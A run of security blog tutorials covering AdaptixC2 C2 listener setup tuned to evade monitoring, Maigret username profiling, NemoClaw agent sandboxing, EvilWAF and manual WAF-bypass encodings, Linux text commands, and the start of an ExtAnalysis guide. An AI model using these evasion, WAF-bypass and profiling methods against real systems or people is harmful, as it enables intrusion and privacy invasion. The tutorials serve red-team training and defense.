Welcome back, aspiring cyberwarriors!

This is the second article in our AdaptixC2 series. Last time, we talked about how to install and set things up. Now, we’re going to dig into listeners. A listener is part of the C2 framework that waits for compromised hosts to connect back and handles the ongoing chat. Making listeners can be tricky, and there’s no one-size-fits-all solution, so red teamers need to understand which protocol to use and when to outsmart modern defenses. Therefore, in this article, we’ll cover how to create listeners in AdaptixC2 and the types available. Let’s get rolling!

Generating and Configuring Listeners

To access Listeners, click the Adaptix tab with the headset icon.

Once you’re in the Listeners tab, right-click on the console pane and choose “Create.” You’ll see a window pop up like this:

These listeners are important; without them, nothing happens. They’re the first step in what you want to accomplish in a red team engagement. Here’s a quick rundown of what each part does:

Name is just a label for your listener.

Profile lets you pick or save a settings profile, so you don’t have to input everything from scratch each time.

Protocol tells you how your listener connects, and it’s set to “any” for now, but common options include stuff like HTTP, DNS, SMB, and TCP. This is how the agents, or “beacons,” communicate with the C2 server.

Config is where you choose the type of listener module. If you see “BeaconDNS,” that means it’ll use DNS for the beacon traffic. Adaptix also offers other types like Beacon HTTP, Beacon SMB, Beacon TCP, and Gopher TCP.

Host & Port (Bind) lets you set the IP address and port the listener binds to on the C2 server. It’s usually set to 0.0.0.0 by default, but you can select a specific network adapter.

Authoritative Domain(s) refers to the domain names your server is the boss of. Compromised hosts, or beacons, will send DNS queries for subdomains under this domain, and since the C2 server is the main nameserver, those queries will point to it.

Max Payload (bytes) indicates the biggest chunk of data you can cram into a single DNS request or response.

DNS TTL (seconds) sets how long DNS responses hang around in caches, telling them how long to remember the answer.

Encryption Key is used to encrypt the beacon’s traffic or payload.

Enable Burst Mode turns on a feature where the beacon sends multiple quick queries in bursts instead of one by one, which can speed up data exfiltration.

Burst Sleep (ms) is how long the beacon pauses between queries in a burst.

Burst Jitter (%) adds randomness to the wait time between queries, so the traffic doesn’t look too regular and helps avoid timing-based detection.

Once you fill in all those fields, click Create.

Let’s move on to the more popular listener, the HTTP listener. It has way more attributes than the others. It looks like the one below.

In the main settings, we’ve got some new options to play with:

Callback addresses are the external IPs or domains (with ports) embedded in the beacon payload, letting compromised hosts know where to connect back. This can be different from the bind address, especially if you’re using a redirector. Redirectors are handy, and Adaptix lets you put in multiple combinations of IPs and ports. When a compromised host tries to connect, it first goes to the redirector, which checks if it’s allowed to access the C2 server. For more on redirectors, check out Major Smouk’s article.

For demo purposes, since we’re not using redirectors for now, we can just put in our own host’s IP in that field.

Method allows you to choose the HTTP method (GET/POST) that beacons will use to send requests/check-ins to the server.

URIs is where you list URL paths that the beacon will randomly choose from when making requests, like /api/v1/status or /updates/check.php.

User-Agents lets the beacon rotate through different browser User-Agent strings in its HTTP headers.

Heartbeat Header is a custom HTTP header (like X-Beacon-Id) that carries the beacon’s identifier/session token during each check-in, helping the server identify which compromised host is reaching out.

Use SSL (HTTPS) is a toggle for whether the listener wraps traffic in TLS. If you turn it on, you can either provide your own certificate/key (like simulating a real site’s cert) or let Adaptix automatically generate a self-signed one.

We also have some extra tabs with settings:

HTTP Headers lets you add custom request/response headers to mimic legitimate traffic further or hide data.

Page Error configures what the server shows to regular visitors or scanners that hit the listener.

Page Payload lets you set up a legit-looking webpage/response for certain paths, which is often used to host the stager/payload for initial access or make the server look like a harmless website.

That sums up what we need to set up HTTP listeners. Now, let’s dive into BeaconSMB!

In this section, we need to focus on the pipe name. The pipe name is simply what the Windows named pipe will be called. The listener sets it up and waits for connections. A named pipe on Windows acts as a communication channel. It’s named something like \\.\pipe\somename. When a compromised host wants to connect, the SMB beacon reaches out to this pipe by name to create the C2 channel. That wraps up our talk about Beacon SMB.

Now, let’s move on to Beacon TCP.

The screenshot above shows how to set up a BeaconTCP listener, which is straightforward and requires only three fields.

First is the bind port, the TCP port the listener opens on the compromised host to act as the relay.

Next, there’s the prepend data. This is a set of bytes like \x12\xab that gets added to the start of every TCP communication. This trick is all about traffic obfuscation. By starting with a specific byte pattern, the TCP stream looks less like your typical C2 traffic. It can mimic the handshake or header of a known protocol, making it harder for network monitoring tools to flag the beacon as suspicious.

Lastly, the encryption key works the same way as it does with the other listeners.

And finally, don’t forget about the Gopher TCP listener.

We’ve already checked out a lot of options before, but here’s what’s new for us:

The TCP banner is just some text sent out to anything connecting to the port before the beacon handshake goes down. It currently says “AdaptixC2 server,” but in a real scenario, you’d want to swap it for something more innocuous or something that resembles a legit service.

The error answer is what gets sent back if a connection fails or is rejected.

The big one here is adding mTLS. That stands for mutual TLS, which means both the server and the connecting beacon prove who they are to each other using certificates, not just the server showing its identity like in regular TLS. This is a major security boost because only beacons with the right client certificate can connect to the listener. So, even if someone figures out the C2 address and port, they can’t interact or pretend to be a beacon without that certificate. The setup includes fields for the CA cert, server key, server cert, client key, and client cert to enable mutual authentication.

After setting up all the different listeners, we’ll see the following picture.

We need to recognize two types of listeners: internal and external. An external listener connects to the public internet and is what the first hacked device calls back to, going through the firewall. It usually uses protocols like HTTP, HTTPS, or DNS because those are often allowed out and blend in with regular traffic. Sometimes, it’s even hidden behind a redirector or CDN to mask the actual control server’s IP address.

On the flip side, an internal listener is what you use once you’re already in the network. It helps with moving sideways between compromised devices that usually don’t have internet access. This one relies on LAN-only protocols, like SMB named pipes or raw TCP, allowing beacons to communicate and send traffic back through the first hacked device to the external listener.

Summary

In this article, we dove into how to set up listeners in AdaptixC2. We went through all the different types of listeners and their configuration options so you can jump right into using Adaptix after checking this out.

Keep an eye out for our upcoming articles as we continue exploring command and control frameworks. If you found this information helpful, you might want to check out our Hacking Infrastructure course. Also, consider joining our community by signing up for Subscriber PRO.

The post Adaptix C2 Architecture: Configuring Command & Control Listeners first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Every username you ever created leaves a digital footprint across the internet. In the wrong hands, those footprints tell a story: your habits, location, friends, employer, and real name. Username OSINT is one of the most powerful weapons in any reconnaissance arsenal. We have previously discussed a popular tool for these tasks called Sherlock. Still, circumstances change, and sometimes we need a more comprehensive tool for profile investigation.

So, in this article, we’re going to check out Maigret. Let’s get rolling!

What is Maigret?

Maigret is a free, open-source Python tool that finds online accounts linked to a username. You give it a username, and it checks more than 3,000 websites (social networks, forums, coding platforms, and more) to see where that name is registered. By default, it scans the 500 most popular sites, and you can switch to the full list.

Unlike a simple lookup, Maigret tries to build a profile (“dossier”) of the person. It reads the public profile pages it finds and extracts details such as names, links, and other usernames. It then searches those new leads, which is called recursive search. It can save results as HTML, PDF, CSV, TXT, or JSON reports. It also offers an optional AI mode that can summarize the findings.

How Does It Compare to Sherlock?

Sherlock, which inspired Maigret, does one thing well: it quickly checks whether a username exists on a few hundred popular sites and lists the matching links. Maigret goes further.

	Sherlock	Maigret
Goal	Fast, simple username check	Deeper profile investigation
Sites covered	Several hundred	3,000+
Extracts data from profiles	No	Yes
Follows new leads recursively	No	Yes
Reports	Basic output	HTML, PDF, CSV, TXT, JSON
Best for	Quick checks	Detailed research

How to Use Maigret

First, make sure you have Python and pip installed. Then, clone the repository from GitHub.

kali> git clone https://github.com/soxoj/maigret && cd maigret
kali> python3 -m venv .venv
kali> source .venv/bin/activate
kali> pip3 install .

That’s it, the tool is ready to go. We can check the help screen to confirm the installation is correct.

kali> maigret –help

The simplest way to use Maigret is to feed it a single username and let it do the work:

kali> maigret username

Maigret checks the 500 most popular sites, ordered by popularity. This is the best starting point because it’s fast and covers the platforms where most people have accounts. To turn on full database mode, use the -a flag.

Maigret has many flags that allow you to search very specifically. For example, we can target one website:

kali> maigret username –site GitHub

In the screenshot above, you can see the found tags. We can search by them as well:

kali> maigret username –tags coding

Another valuable feature is username permutation. Maigret can generate and search username variants (for example, combining first and last names in common patterns).

kali> maigret –permute firstname lastname

Maigret supports many output formats. For demonstration purposes, let’s test the HTML report; it is the most readable option.

kali> maigret username –html

This creates a standalone file in your results directory with all the findings organized, including images.

It’s also worth testing the graph flag.

Also, Maigret can send its findings to an external LLM to produce a written summary. For this task, create the file ~/.maigret/settings.json with the following content:

{
 "openai_api_key": "sk-or-v1-YOUR_OPENROUTER_KEY",
 "openai_api_base_url": "https://openrouter.ai/api/v1",
 "openai_model": "openai/gpt-4o-mini"
}

Then type:

kali> maigret username –ai

Summary

Maigret turns OSINT from a quick lookup into a proper investigation. It covers 3,000+ sites, parses profile data, follows new leads recursively, and can write an AI summary. I recommend testing it. It may find a place in your hackers’ toolbox.

The post Open-Source Intelligence (OSINT): Turn One Username into a Full Digital Dossier with Maigret first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

OpenClaw demonstrated how autonomous, self-evolving agents can change how software operates. However, in the business world, having this power without proper control creates unmanaged risks.

To safely use autonomous agents in a controlled environment, NVIDIA created NemoClaw. In this article, we will look at OpenClaw’s impact, the security issues it raises, the solutions NemoClaw offers to address them, and how to install it. Let’s get rolling!

OpenClaw

OpenClaw (formerly Moltbot and Clawdbot) is an open-source AI agent that runs on your machine, connects through the messaging apps you already use, and takes action on your behalf, including shell commands, browser automation, email, calendar, and file operations.

In a matter of weeks, OpenClaw blew past adoption milestones that took Linux three decades to achieve. The magic is how effortlessly it deploys: you type a single command in a terminal, and it instantly goes out, fetches OpenClaw, builds an active AI agent, and hands over the harnesses.

It’s important to understand that OpenClaw is not just another LLM. It is an operating system for agentic computers. Like traditional operating systems that manage memory and hardware, OpenClaw manages large language models and tool execution. You can text it, email it, talk to it, or even wave at your computer screen, and it will understand you.

“OpenClaw has open-sourced essentially the operating system of agentic computers. It is no different than how Windows made it possible for us to create personal computers. Now OpenClaw has made it possible for us to create personal agents.” — Jensen Huang

Real-world uses of this technology are already making a big difference. One example is Andrej Karpathy, who created a tool called “Research.” This tool lets users assign research tasks to an agent that can run 100 experiments overnight while you sleep. The agent keeps the successful results and discards the failures.

Immediately, turning large language models (LLMs) into an operating system changes how we use software. Instead of waiting for user input, it acts as an active agent, coordinating tasks across physical and digital domains.

But deploying raw, autonomous agents comes with significant risks. An agent must act independently to be valuable, which inherently creates a threat vector. By late 2026, there were 543 tracked CVEs for OpenClaw. In a previous article, we explored how malicious links can steal authentication tokens and compromise OpenClaw AI systems. Additionally, scanning tools have identified over 40,000 publicly accessible OpenClaw instances worldwide, many configured to bind to 0.0.0.0 with authentication disabled by default or operating over unencrypted HTTP.

To address these security challenges, NVIDIA worked with Peter Steinberger to create NemoClaw.

NemoClaw

NemoClaw is an open-source tool developed by NVIDIA that simplifies and secures the deployment of autonomous AI agents using the OpenClaw framework. It strengthens OpenClaw’s core security by running within NVIDIA OpenShell sandboxes and applying infrastructure-level security measures. OpenShell is an open-source runtime designed for executing fleets of autonomous AI agents in isolated, sandboxed environments with kernel-level protection. It combines sandbox runtime controls with a declarative YAML policy, letting teams run agents without giving them unrestricted access to local files, credentials, or external networks.

NemoClaw’s main goal is to make open-source autonomous-agent tools ready for enterprise use. It simplifies installation, provides guided onboarding, managed inference, network policy, managed integrations, and lifecycle operations through the NemoClaw CLI and its agent-specific aliases. Therefore, this setup tries to ensure that agents cannot compromise host files or gain unauthorized local privileges.

As of this article, NemoClaw supports OpenClaw, Hermes, and LangChain Deep Agents.

OpenClaw vs NemoClaw

Let’s compare the security features of those two tools.

Security Feature / Dimension	OpenClaw	NemoClaw
System Isolation & Privilege Level	Runs directly on the host OS with full root permissions. Associated CVEs: CVE-2026-24763 / CVE-2026-26329 (Command injection & path traversal allowing full host system compromise).	Runs inside isolated OpenShell containers/sandboxes; restricts filesystem writes, process execution, and privilege escalation.
Credential & Secret Handling	Stores tokens and API keys in plaintext files on local disk. Associated CVEs: CVE-2026-25253 (WebSocket token leakage allowing remote session hijacking).	Keeps provider credentials, web search tokens, and API keys outside the sandbox at managed egress boundaries.
Network Binding & Exposure	Binds by default to 0.0.0.0 over unencrypted HTTP. Real-World Threat: Over 40,000 public instances globally exposed to unauthenticated internet scans and automated attacks.	Enforces strict network policies, local loopback restrictions, and managed tunneling for secure communication.
Skill Supply Chain Control	Installs third-party skills freely from public registries without runtime validation. Real-World Threat: Over 300 malicious ClawHub skills found dropping infostealers (such as AMOS/Atomic Stealer variants).	Integrates scoped skill policies and structured Markdown documentation to audit and regulate extensions.
Prompt Injection & Blast Radius	Vulnerable to indirect prompt injection via malicious web pages or emails. Associated CVEs: CVE-2026-30741 (Tricking agents into executing arbitrary malicious shell commands with high blast radius).	Mitigated by sandboxing, behavioral guardrails based on NVIDIA NeMo architecture, and tightly scoped tool-calling permissions.

That table shows that NemoClaw really helps boost OpenClaw’s security. But just a heads-up.

First off, wrappers aren’t foolproof. If OpenClaw has a serious zero-day remote code execution vulnerability, an attacker could exploit it and potentially break out of the container if the runtime settings are misconfigured or the agent’s logic is directly compromised. NemoClaw does a good job limiting the damage by stopping the agent from tampering with system files or stealing SSH keys from your host machine, but it doesn’t magically fix flaws in the app’s core logic.

Second, container sandboxing and management tools like OpenShell and various runtimes have had their share of escape vulnerabilities, namespace issues, and privilege-escalation bugs. If the sandbox runtime has a flaw, a compromised agent could use it to target the host kernel.

That’s why running risky, untested AI frameworks directly on bare metal is a major security risk. Sandboxing gives you some protection and time, but a solid defense means keeping that underlying wrapper updated and cutting down on unnecessary network or tool permissions.

Set Up NemoClaw

NemoClaw can automatically discover an existing host-level OpenClaw installation and migrate its state into a secure OpenShell container sandbox. But in this demonstration, we’ll install everything from scratch.

Before installation, ensure that Docker and Node.js are installed on your system. Then, run the following command:

kali> curl -fsSL https://www.nvidia.com/nemoclaw.sh | bash

Accept the third-party software notice when prompted.

The interactive wizard creates the sandbox. Select OpenClaw when the installer prompts you to choose an agent. Choose an inference provider and model, then provide its credentials when prompted. Press Enter to accept the suggested my-assistant sandbox name. Follow the wizard, and then accept the suggested network policy tier.

At the end, you’ll see output like the one below.

After that, we can move on to testing the agent. NemoClaw supports terminal UI (TUI) and web mode. Let’s test the TUI.

kali> nemoclaw my-assistant connect

sandbox> openclaw tui

NemoClaw lists what is inside its workspace, but it can’t read or write outside /sandbox and /tmp.

NemoClaw in Action

Businesses have put together various reference guides, practical tips, and real-world examples for NVIDIA NemoClaw. While major public case studies are still emerging, Cisco is one company showing how it can be done.

Cisco and NVIDIA teamed up to create a case study on how the NVIDIA OpenShell works with Cisco AI Defense to keep enterprise autonomous agents safe during live operations like automated security patching and device analysis.

In their setup, an autonomous agent actively maps out network device configurations and data into a live knowledge graph. When a new zero-day vulnerability emerges, the security operations agent analyzes the threat and checks it against the current network setup to assess potential impact and develop prioritized remediation plans.

To prevent runtime exploits, NVIDIA OpenShell keeps the agent secure in infrastructure-level sandboxes with limited access, restricted network endpoints, and local privacy routers. At the same time, Cisco AI Defense monitors AI tools. Besides that, MCP calls catch a simulated secret data exfiltration attempt hidden in a third-party reporting skill before any sensitive info can escape the secure environment.

Summary

AI agents are changing how we use software. Tools like OpenClaw can make us much more efficient, but they also might have many vulnerabilities. To help keep your setup safe, NVIDIA developed NemoClaw, and this article shows you how to get started. Keep coming back as we continue to explore artificial intelligence.

If you’re interested in using AI for cybersecurity, definitely check out this training!

The post Artificial Intelligence (AI) in Cybersecurity, Part 29: Creating Isolated Autonomous Agents for Hacking with NemoClaw first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and bug bounty hunters!

In the previous article, we covered what a WAF is and how you can manually bypass it. These days, WAFs are getting smarter, moving from simple pattern matching to advanced behavior analysis. As a result, traditional tricks to hide your payload often get caught before they even reach the main application. To tackle this issue, let’s dive into EvilWAF, an open-source penetration testing tool designed to test and bypass those firewall defenses by manipulating transport-layer processes. Let’s get rolling!

What Is EvilWAF?

EvilWAF is a transparent Man-In-The-Middle (MITM) proxy and web application firewall (WAF) vulnerability scanner. Rather than changing attack payloads or headers like tools such as sqlmap, EvilWAF operates at the transport layer. This allows it to slip past WAF behavioral detection while checking for firewall weaknesses.

It has two modes: proxy and standalone WAF scanner.

In proxy mode, you just run EvilWAF on your machine and set up your testing tool to send its traffic through it. In this mode, there will be zero payload manipulation. EvilWAF won’t mess with the actual SQL injection payloads, HTTP body, or application headers that sqlmap sends out. While sqlmap hunts for app vulnerabilities, EvilWAF handles the connection, rotating TCP profiles, TLS fingerprints like JA3 or JA4, and so on, so the WAF doesn’t block or limit the automated connection. Also, if you use the auto-hunt option, EvilWAF will try to find the real backend IP behind the WAF and can send sqlmap’s traffic straight to the origin server, bypassing the WAF completely.

Besides that, EvilWAF isn’t just a passive proxy. It can also work independently. When you launch it with the scan-only flag, it targets the firewall itself, running a thorough assessment across ten different defense layers while checking for gaps in the rule engine, rate limiting, evasion techniques, HTTP method behaviors, and TLS settings to spot vulnerabilities in the WAF setup.

Installing EvilWAF

To install and configure EvilWAF on Kali Linux, you can set it up directly using a Python virtual environment.

kali> git clone https://github.com/matrixleons/evilwaf.git
kali> cd evilwaf
kali> python3 -m venv myenv
kali> source myenv/bin/activate
kali> pip3 install -r requirements.txt 
kali> python3 evilwaf.py -h

Since EvilWAF acts as a full HTTPS MITM proxy, it automatically generates a local CA certificate on its first run to inspect encrypted traffic. You need to trust this certificate on Kali Linux to prevent SSL errors when using proxying tools. Therefore, launch EvilWAF once to generate the CA certificate:

kali> python3 evilwaf.py -t https://example.com

Then, import and trust the certificate system-wide in Kali:

kali> sudo cp /tmp/evilwaf_ca_*/evilwaf-ca.pem /usr/local/share/ca-certificates/evilwaf-ca.crt

kali> sudo update-ca-certificates

Running EvilWAF

Start EvilWAF targeting the web application you are auditing. By default, it opens a real-time terminal UI listening on 127.0.0.1:8080:

kali> python3 evilwaf.py -t https://target.com

With EvilWAF running, instruct your testing tool to send its requests through this proxy. For example, let’s run sqlmap:

kali> sqlmap -u “https://target.com/page?id=1” –proxy=http://127.0.0.1:8080

After that, EvilWAF should show a terminal user interface like the one below.

It lets us monitor live traffic and, most importantly, shows which transport-layer manipulation techniques, fingerprint profiles, and header injections are actively applied to outbound requests.

Another valuable feature of EvilWAF is auto-hunt. It runs 10 parallel scanners to identify the origin IP. This includes DNS history, SSL certificate analysis, subdomain enumeration, and more.

kali> python3 evilwaf.py -t https://target.com –auto-hunt

Once a high-confidence IP is found, it asks for confirmation to route traffic directly to the real server.

You can also specify the IP manually if you already know it:

kali> python3 evilwaf.py -t https://target.com –server-ip 1.2.3.4

Now, let’s switch from proxy mode to a standalone WAF vulnerability scanner. EvilWAF can evaluate the firewall itself for configuration flaws without running third-party tools:

kali> python3 evilwaf.py -t https://target.com –scan-only

This probes 10 defensive layers simultaneously.

Important Note About Cloudflare

Cloudflare is regarded as one of the most advanced WAFs today, functioning as a multi-layered defense system rather than just a set of rules. It operates through hundreds of global data centers, allowing it to detect and mitigate emerging attack patterns swiftly across all protected sites.

Cloudflare analyzes requests using various signals, including TCP/IP and TLS fingerprints, HTTP/2 structure, and behavioral patterns. By correlating these factors, it assigns a risk score to each request. Unlike traditional WAFs that rely on known attack patterns, Cloudflare uses machine learning models trained on extensive real attack traffic to identify deviations from legitimate browser traffic.

This makes it challenging to bypass since many techniques that work on rule-based WAFs are ineffective against Cloudflare. Its behavioral fingerprinting can challenge requests even before payloads are inspected, identifying tools based on transport-layer characteristics. Rate limiting is sophisticated, tracking session patterns and applying progressive challenges, making it hard to exploit thresholds.

Therefore, EvilWAF is just one example of what a WAF bypass might look like. Still, it is certainly not a bulletproof solution.

Summary

To wrap up, EvilWAF marks the start of a new era of firewall bypass. Payload obfuscation and simple encoding are very unlikely to work on modern WAFs. Therefore, it is important to pay attention to tools like EvilWAF.

If you’re interested in bug bounty, red teaming, or AI, we invite you to our training center, where we offer a range of courses to build your skills and stay up to date in cybersecurity.

The post Bypass Web Application Firewall (WAF) with EvilWAF first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and bug bounty hunters!

Hacking web applications nowadays requires not just a well-written exploit but also a way to bypass a Web Application Firewall (WAF). Despite being a staple of modern security architecture, WAFs are often misunderstood: they are usually treated as magic shields when, in fact, they are complex systems with strengths, limitations, and blind spots.

In this article, we will cover three core topics: WAF operation, WAF fingerprinting methods, and bypass techniques. Let’s get rolling!

Understanding Web Application Firewalls and Detection Logic

A Web Application Firewall (WAF) is a security tool that sits in front of your web app and checks every incoming request before it reaches your code. It operates at Layer 7 of the OSI model, the application layer where HTTP traffic lives. Unlike traditional network firewalls, a WAF looks at the actual content of requests, like headers and URLs, not just their source.

WAFs typically use three methods to assess requests.

First is signature-based detection, similar to antivirus software. The WAF compares incoming requests against a list of known attack patterns and blocks any matches. This method is fast and effective for common attacks, but it can miss variations.

Next, anomaly scoring assigns points for various suspicious elements within a request. When the total score exceeds a threshold, the WAF blocks the request. This method is flexible because a single odd detail isn’t concerning, but a combination is.

Finally, behavioral detection focuses on client activity over time. The WAF monitors request rates and patterns and shuts down suspicious behavior like automated login attempts, even if each request seems harmless.

Combining these strategies gives a WAF a strong understanding of traffic, making it a key defense for serious web applications.

Fingerprinting a WAF

Before you do anything with the target, it’s smart to see whether they’re using a WAF at all. A good first step is to check the web application’s headers. You can easily do this with the curl command. Just type:

kali> curl -I target.com

In the screenshot above, we can see that the site uses Cloudflare and Qrator’s WAF. Usually, you can spot some hints in the headers that help identify it, like:

The unique transaction tracking ID: X-Qrator-Request-ID or X-Qrator-Req-ID

Server header showing: Server: QRATOR

Internal proxy metadata headers like X-Qrator-IP or X-Qrator-Upstream.

Another way to fingerprint the WAF is through behavior analysis. Here, we’re not just loading a webpage, but we send something that seems a bit malicious. For example, let’s try executing a random HTTP method:

kali> curl -i -X CUSTOMVERB “https://example.com/”

When you run into a 418 status code along with kittenx, it’s usually the edge layer stepping in as a bot-mitigation tool or a WAF block. This means that the incoming request hit a security rule, hit a rate limit, or didn’t pass automated fingerprint checks. Most of the time, you’ll see a 403 status code, which is the classic WAF block. Sometimes you might see other codes like 406, especially with ModSecurity CRS. Some vendors even show their own “Access Denied” HTML page when this happens.

Instead of using curl to trigger different WAF rules manually, a cool tool called WAFW00F can do the identification for you. It starts by sending a normal HTTP request and checking the response to see which WAF solutions it can spot. If that doesn’t work, it sends potentially malicious HTTP requests to figure out which WAF is in play. If that still doesn’t yield results, it looks back at previous responses. It uses straightforward logic to guess whether a WAF or security tool is responding to its efforts. This tool is actually preinstalled on Kali Linux, so you can easily check it out by running:

kali> wafw00f -h

WAFW00F can spot plenty of firewalls. If you want to see the full list, just run this command:

kali> wafw00f -l

You just need to throw a URL in as an argument to get started.

Common WAF Bypass Techniques

Web apps handle lots of encoded text, and problems arise when they decode that text multiple times or in the wrong order compared to what a WAF expects.

For example, double URL encoding can create vulnerabilities. If you encode a single quote twice as %2527, the WAF sees that and thinks it’s safe. But once the app decodes it twice, it turns into a real single quote, slipping past the WAF. This often leads to XSS.

Unicode normalization can also be tricky because characters can appear in different ways. For example, if a WAF looks for < (U+003C) but gets the full-width version (U+FF1C), it won’t catch it. When the app normalizes it back to <, it creates a vulnerability.

Then there is ASCII smuggling, where attackers use invisible Unicode tags (U+E0000 to U+E007F) to replace plain ASCII characters. To the bare eye or even a WAF, it looks like a space in a regular message. But when the application decodes those tags, the hidden payload shows up intact and ready to execute. It is all about hiding real characters behind an invisible disguise.

With the popularity of AI, we also encounter a new type of vulnerability. If an AI model doesn’t have appropriate security guidelines, ASCII manipulations can lead to data poisoning.

Summary

There are tons of ways to get past a WAF without being noticed. In this article, we quickly covered what a WAF is, how it works, and how to identify which WAF you’re dealing with so you can test specific bypass techniques. In a future article, we’ll cover automated solutions. Stay tuned!

The post Introduction to Web Application Firewall (WAF) and Ways to Bypass It first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

One of the fundamental principles that separates Linux from other operating systems is its philosophy that nearly everything is a file, and more often than not, these files contain plain text. Configuration files that control how services behave, log files that record system activity, and network captures that reveal traffic patterns. Countless other critical components of the system exist as text files that you can read, modify, and manipulate using simple command-line tools.

In this article, we will explore the essential commands and techniques for manipulating text in Linux. Let’s get rolling!

Step 1: Cat That File

For demonstration purposes, we will use files from the world’s best Network Intrusion Detection System (NIDS), Snort. If some of you have prior experience with Snort, you probably know that the configuration file was called snort.conf. However, in Snort 3, the traditional snort.conf file has been replaced by Lua-based configuration files in snort.lua serving as the primary configuration file.

Now, let’s move on to the cat command. As demonstrated in an earlier tutorial, cat is one of the most basic text display commands. Let’s use cat to view the Snort configuration file located in /etc/snort.

kali > cat /etc/snort/snort.lua

As you can see, snort.lua is displayed on our screen until it reaches the end of the file. Not the most convenient or practical way to work with this file.

Step 2: Take the Head

To view the beginning of a file, use the head command. This command displays the first 10 lines of a file, by default.

kali > head /etc/snort/snort.lua

If we want to see more or fewer than the default 10 lines, we can tell head how many lines to display by putting the number of lines we want (with the – n switch) between the command and the file name.

kali > head -20 /etc/snort/snort.lua

Here we can see that only the first 20 lines of snort.lua are displayed.

Step 3: Grab That Tail

Similar to the head command, we can view the last lines of a file with the tail command. Let’s use it on the snort.lua.

kali > tail /etc/snort/snort.lua

Note that it shows some logging configurations but not all. Let’s see if we can display all of them by retrieving the last 20 lines of the snort.lua file.

kali > tail -20 /etc/snort/snort.lua

Now we can view nearly all the logging rules on one screen.

Step 4: Numbering Those Lines

Sometimes—especially with very long files—we may want the file displayed with line numbers. This is probably the case with snort.lua, which has over 200 lines. This makes it easier to reference changes and come back to the same place within a file. To display a file with a line number, we simply type:

kali > nl /etc/snort/snort.lua

Note that each line now has a number, making referencing much easier.

Step 5: I Grep That

After cat, grep is the most widely used text manipulation command. It’s a filtering command; in other words, it enables us to filter the content of a file for display. If, for instance, we wanted to see all the instances of where the word “log” occurs in our snort.lua file, we could ask cat only to display those lines where it occurs by typing:

kali > cat /etc/snort/snort.lua | grep log

This command will first grab the snort.lua and then “pipe” it (|) to grep, which will take it as input and then look for the occurrences of the word “log” and only display those lines. Grep is a powerful and essential command for working in Linux, as it can save us hours searching for every occurrence of a word or command.

Step 6: I Sed That Works

The sed command allows us to search for occurrences of a word or text pattern and then perform some work on them. The name comes from the concept of a stream editor and is a contraction of those two words. At its most basic, sed operates like the Find and Replace function in Windows. Let’s search for the word “modbus” in the snort.lua file using grep.

kali > cat /etc/snort/snort.lua | grep modbus

We can see that the grep command found four occurrences of the word modbus.

Let’s say we want sed to replace every occurrence of modbus with Modbus (remember, Linux is case-sensitive) and then save the new file as snort2.lua.

We could do this by typing:

kali > sed s/modbus/Modbus/g /etc/snort/snort.lua > snort2.lua

This command says, “search (s) for the word modbus and replace it with the word Modbus globally (i.e., wherever you find it in the file).”

kali > cat /etc/snort/snort2.lua | grep Modbus

Now, when we grep snort2.lua for Modbus, we see that none were found, and when we grep for Modbus, we find four occurrences of Modbus.

If we want to replace only the first occurrence of the word modbus, we could leave out the trailing ‘g’ (for global), and it would replace only the first occurrence.

kali > sed s/modbus/Modbus/ snort.lua > snort2.lua

Step 7: Less is More

Although cat is a good utility for creating and displaying small files, it certainly has its shortcomings when displaying large ones. When we catch the snort.lua, it scrolls through numerous pages until it comes to the end. Not very practical.

For working with larger files, we have two other utilities, more and less. More came first and is the utility that the man (manual) pages use. Let’s open snort.lua with more commands.

kali > more /etc/snort/snort.lua

Notice that more displays only the first page and displays for us in the lower left corner how much of the file is shown (13% in this case).

To see additional lines or pages, we can use the ENTER key, PAGE UP, or PAGE DOWN to move an entire page. To exit more, type “q” for quit.

Less is very similar to more, but with additional functionality; hence the common Linux aficionado quip: “Less is more.”

Let’s open snort.lua with less.

kali > less /etc/snort/snort.lua

Notice near the bottom-left of the screen that ‘less’ has highlighted the file path.

If we hit the / key, less will enable us to search for terms in the file. For instance, let’s search for filters:

/filter

This will immediately take us to the first occurrence of output and highlight it.

We can then look for the next occurrence of filter by typing “n” for next.

As you can see, less took us to the next occurrence of the word filter, highlighted all the search terms, and in this case, took us directly to the filter section of Snort. How convenient!

Summary

This article illustrates essential commands and techniques for manipulating text in Linux, emphasizing the importance of text files in system configuration and logging. We explored commands such as cat, head, tail, nl, grep, and sed, demonstrating how they can enhance your efficiency in handling configuration files like snort.lua.

For more information on using Linux for hacking, check out the book “Linux Basics for Hackers” on Amazon or visit our training center.

The post Linux Basics for Hackers, Part 09: Text Manipulation first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

These days, most of our online activity happens in web browsers. They’re our main way to access the internet, but they can also make it easy for malware to slip into our systems. While there are known vulnerabilities in browsers, the real trouble often comes from malicious browser extensions.

So, in this article, we’ll take a look at a tool called ExtAnalysis that acts as a first line of defense against sketchy plugins. It helps you do some forensic research and static code analysis quickly and visually. Let’s get rolling!

Getting Started with ExtAnalysis

ExtAnalysis is an open-source security framework designed to scan, analyze, and extract threat intelligence from Chrome, Firefox, Edge, and Brave extensions. It runs locally as a web application powered by a Flask backend.

To install it, we need to clone the repository from GitHub and run the main Python script:

kali> git clone https://github.com/Tuhinshubhra/ExtAnalysis
kali> cd ExtAnalysis
kali> pip3 install -r requirements.txt --break-system-packages
kali> python3 extanalysis.py

By default, ExtAnalysis binds to 127.0.0.1 on port 13337 and automatically opens a browser window to http://127.0.0.1:13337.

ExtAnalysis supports different formats. First of all, we can just provide a link to the plugin published on the Chrome Web Store or Firefox Add-ons. Secondly, it supports local extension scanning. And lastly, we can manually upload unpacked or packed extension archives in .crx, .xpi, .zip, and .tar formats. For this demonstration, I’ll just provide a link to a random crypto wallet published in the Chrome Web Store.

After entering the URL, ExtAnalysis will start analysis. Depending on the size of the plugin, it can take time. Eventually, you will see the report as below.

On the basic info tab, we can see data like name, author, version, extracted URLs, etc. Also, this tab has a built-in viewer for reviewing manifest.json configuration blueprints.

By changing the tab to Files, we can explore an interactive network graph. It constructs an interactive network graph mapping all extension source files, internal scripts, outbound external URLs, and domain relationships.

As you can see at the bottom of the screenshot, ExtAnalysis also allows viewing the source code of the files. It features an embedded tool to de-minify and restructure obfuscated or dense JavaScript and CSS files for manual code audits.

Next, we have the permission risk assessment tab.

ExtAnalysis parses requested permissions and categorizes them into risk levels (High, Medium, etc) to highlight capability escalation.

After that, we have the URL Reconnaissance Suite tab.

